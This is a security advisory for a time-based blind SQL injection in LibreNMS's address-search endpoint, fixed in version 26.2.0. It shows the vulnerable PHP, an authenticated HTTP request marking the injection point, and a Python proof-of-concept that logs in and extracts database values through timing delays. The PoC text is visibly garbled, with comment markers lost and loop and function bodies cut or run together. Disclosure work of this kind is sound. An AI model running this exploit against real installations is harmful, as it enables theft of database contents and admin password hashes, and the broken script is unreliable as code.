GHSA-79q9-wc6p-cf92 LibreNMS has a Time-Based Blind SQL Injection in address-search.inc.php

• Packagist librenms/librenms: < 26.2.0 → fixed in 26.2.0

Summary A time-based blind SQL injection vulnerability exists in `address-search.inc.php` via the `address` parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses. Details This vulnerability requires authentication and is exploitable by any authenticated user. The vulnerable endpoint is at `/ajax_table.php` with the following request displaying the injection point. ``` POST /ajax_table.php HTTP/1.1 Host: 192.168.236.131 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.236.131 Connection: keep-alive Referer: http://192.168.236.131/search Cookie: laravel_session=[Authenticated user cookie] current=1&rowCount=55&sort%5Bhostname%5D=asc&searchPhrase=&id=address-search&search_type=ipv4&device_id=1&interface=&address=127.0.0.1/aa ``` Within `includes/html/table/address-search.inc.php`, the user-controlled `$prefix` variable derived from the `address` parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52. ```php // Lines 16-35, 51-53 $address = $vars['address'] ?? ''; $prefix = ''; $sort = trim((string) $sort); if (str_contains($address, '/')) { [$address, $prefix] = explode('/', $address, 2); } if ($search_type == 'ipv4') { $sql = ' FROM `ipv4_addresses` AS A, `ports` AS I, `devices` AS D'; $sql .= ' WHERE I.port_id = A.port_id AND I.device_id = D.device_id ' . $where . ' '; if (! empty($address)) { $sql .= ' AND ipv4_address LIKE ?'; $param[] = "%$address%"; } if (! empty($prefix)) { $sql .= " AND ipv4_prefixlen='$prefix'"; } ...... if (! empty($prefix)) { $sql .= " AND ipv6_prefixlen = '$prefix'"; } ``` PoC The following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of `SELECT CURRENT_USER()` from the database: ```python !/usr/bin/python3 import requests import sys import re from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) Configured to be used with burpsuite on the default burpsuite port of 8080 proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} When None is returned it means that all values have been retrieved from the queried value in the target DB def blind_binsearch_sqli(inj_str): try: a = range(32,126) start = 0 end = len(a) while start (sleep_delay * 2) and (elapsed_time_seconds - 1) 1: url = sys.argv[1] if len(sys.argv) > 2: username = sys.argv[2] if len(sys.argv) > 3: password = sys.argv[3] if len(sys.argv) > 4: sleep_delay = float(sys.argv[4]) r = s.get(url + "/login") login_token = re.search(r"name=\"_token\"\s+value=\"([^\"]+)\"", r.text).group(1) login_data = { "_token": login_token, "username": username, "password": password, "submit": "" } r = s.post(url + "/login", data=login_data) Example: python3 script.py http://127.0.0.1 username password 1.5 if __name__ == "__main__": injection("SELECT CURRENT_USER()") ``` Tester user role: Example usage of PoC script: Impact • Any authenticated user can exploit this vulnerability to extract sensitive information from the back-end database using time‑based blind SQL injection techniques. • This leads to unauthorised disclosure of database contents, including schema information and potentially sensitive application data. • An attacker can retrieve privileged accounts (e.g. administrative usernames) and their associated password hashes, potentially leading to privilege escalation within LibreNMS by cracking the password hashes and obtaining plaintext admin user credentials.